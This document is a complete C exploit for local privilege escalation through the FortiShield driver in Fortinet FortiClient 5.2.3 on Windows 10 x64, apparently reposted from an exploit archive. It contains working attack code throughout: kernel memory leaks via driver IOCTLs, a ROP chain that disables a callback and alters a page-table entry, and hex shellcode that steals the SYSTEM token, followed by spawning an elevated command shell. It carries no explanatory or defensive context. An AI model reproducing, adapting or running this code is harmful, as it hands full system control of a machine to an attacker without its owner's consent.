Fortinet FortiClient 5.2.3 (Windows 10 x64 Creators) - Local Privilege Escalation Exploit

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
#include <Shlobj.h>
 
#pragma comment (lib,"psapi")
 
PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver)
{
    memset((LPVOID)0x000000001a000000, 0x11, 0x1000);
    memset((LPVOID)0x000000001a001000, 0x22, 0x1000);
    leak_buffer[0] = 0x000000001a000008;
    leak_buffer[1] = 0x0000000000000003;
    leak_buffer[4] = 0x000000001a000028;
    leak_buffer[6] = addr - 0x70;
 
    DWORD IoControlCode = 0x22608C;
    LPVOID InputBuffer = (LPVOID)0x000000001a000000;
    DWORD InputBufferLength = 0x20;
    LPVOID OutputBuffer = (LPVOID)0x000000001a001000;
    DWORD OutputBufferLength = 0x110;
    DWORD lpBytesReturned;
 
    BOOL triggerIOCTL;
    triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
    if (!triggerIOCTL)
    {
        printf("[!] Error in the SYSCALL: %d\n", GetLastError());
    }
 
    ULONGLONG result = leak_buffer[0x202];
    return result;
}
 
ULONGLONG leakNtBase(HANDLE driver)
{
    ULONGLONG teb = (ULONGLONG)NtCurrentTeb();
    ULONGLONG thread = *(PULONGLONG)(teb + 0x78);
    ULONGLONG threadInfo = leakQWORD(thread, driver);
    ULONGLONG ntAddr = leakQWORD(threadInfo + 0x2a8, driver);
    ULONGLONG baseAddr = 0;
    ULONGLONG signature = 0x00905a4d;
    ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000;
 
    while (TRUE)
    {
        ULONGLONG readData = leakQWORD(searchAddr, driver);
        ULONGLONG tmp = readData & 0xFFFFFFFF;
        /*
        printf("%llx\n", readData);
        printf("%llx\n", tmp);
        */
 
        if (tmp == signature)
        {
            baseAddr = searchAddr;
            break;
        }
        searchAddr = searchAddr - 0x1000;
    }
    return baseAddr;
}
 
ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase)
{
    ULONGLONG PsLoadModuleListAddr = ntBase + 0x34c5a0;
    ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver);
    ULONGLONG addr = 0;
    while (1)
    {
        ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver);
        ULONGLONG name = leakQWORD(namePointer, driver);
        if (name == 0x00740072006f0046)
        {
            name = leakQWORD(namePointer + 8, driver);
            if (name == 0x0069006800530069)
            {
                addr = leakQWORD(searchAddr + 0x30, driver);
                break;
            }
        }
        searchAddr = leakQWORD(searchAddr, driver);
    }
    return addr;
}
 
ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result)
{
    PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000f5ffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (fake_stack == NULL)
    {
        printf("[!] Error while allocating the fake stack: %d\n", GetLastError());
        return 1;
    }
 
    memset(fake_stack, 0x41, 0x12000);
    PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000;
    DWORD index = 0;
 
    // <NULL Callback>
    ropStack[index] = ntBase + 0x1684ef; index++;       // pop rax ; pop rcx ; ret
    ropStack[index] = fortishield_callback; index++;    // FortiShield Callback
    ropStack[index] = 0x0000000000000000; index++;      // NULL
    ropStack[index] = ntBase + 0x937eb; index++;        // mov qword [rax], rcx ; ret
    // </NULL Callback>
 
    // <Flip U=S bit>
    ropStack[index] = ntBase + 0x88614; index++;        // pop rax ; ret
    ropStack[index] = pte_result; index++;              // PTE VA
    ropStack[index] = ntBase + 0x1a3cb2; index++;       // pop rdx ; ret
    ropStack[index] = 0x0000000000000063; index++;      // DIRTY + ACCESSED + R/W + PRESENT
    ropStack[index] = ntBase + 0xe8a8b; index++;        // mov byte [rax], dl ; add eax, 0x01740000 ; ret
    ropStack[index] = ntBase + 0x11e000; index++;       // wbinvd  ; ret
    // </Flip U=S bit>
 
    // <Restore variables & shellcode>
    ropStack[index] = 0x00000000f6000100; index++;      // Shellcode address
    ropStack[index] = fortishield_restore; index++;     // FortiShield return location
    // </Restore variables & shellcode>
 
    char token_steal[] = 
        "\x48\x31\xc0\x65\x48\x8b\x80"
        "\x88\x01\x00\x00\x48\x8b\x80"
        "\xb8\x00\x00\x00\x49\x89\xc0"
        "\x48\x8b\x80\xe8\x02\x00\x00"
        "\x48\x2d\xe8\x02\x00\x00\x48"
        "\x8b\x88\xe0\x02\x00\x00\x48"
        "\x83\xf9\x04\x75\xe6\x4c\x8b"
        "\x88\x58\x03\x00\x00\x4d\x89"
        "\x88\x58\x03\x00\x00\x3E\x48"
        "\x8B\x04\x24\x48\x89\xF4\x48"
        "\x83\xEC\x20\xFF\xE0";
 
    memcpy((fake_stack + 0x2020), token_steal, sizeof(token_steal));
    return 0;
}
 
ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) 
{
    ULONGLONG result = address >> 9;
    result = result | pte_start;
    result = result & (pte_start + 0x0000007ffffffff8);
    return result;
}
 
int trigger_callback()
{
    printf("[+] Creating dummy file\n");
    system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt");
    printf("[+] Calling MoveFileEx()\n");
 
    BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING);
    if (MFEresult == 0)
    {
        printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
        return 1;
    }
    return 0;
}
 
int main()
{
    LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo
 
    HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (mdare == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        return 1;
    }
 
    HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (forti == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        return 1;
    }
 
    LPDWORD hThread_id = 0;
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
    if (hThread == NULL)
    {
        printf("[!] Error while calling CreateThread: %d\n", GetLastError());
        return 1;
    }
 
    BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
    if (hThread_priority == 0)
    {
        printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
        return 1;
    }
 
    ULONGLONG ntBase = leakNtBase(mdare);
    ULONGLONG ntPivot = ntBase + 0x1ab3ec; // mov esp, 0xf6000000; retn;
    ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x62aeb, mdare);
    ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase);
    ULONGLONG fortishield_callback = fortishieldBase + 0xd150;
    ULONGLONG fortishield_restore = fortishieldBase + 0x2f73;
    printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase);
    printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset);
    printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase);
 
    ULONGLONG pte_result = get_pxe_address_64(0xf6000000, ntMiGetPteAddressOffset);
    printf("[+] PTE virtual address for 0xf6000000: %I64x\n", pte_result);
    allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, pte_result);
 
    DWORD IoControlCode = 0x220028;
    ULONGLONG InputBuffer = ntPivot;
    DWORD InputBufferLength = 0x8;
    ULONGLONG OutputBuffer = 0x0;
    DWORD OutputBufferLength = 0x0;
    DWORD lpBytesReturned;
 
    //DebugBreak();
 
    BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
    ResumeThread(hThread);
    WaitForSingleObject(hThread, INFINITE);
    system("start cmd.exe");
 
    return 0;
}

#  0day.today [2018-08-06]  #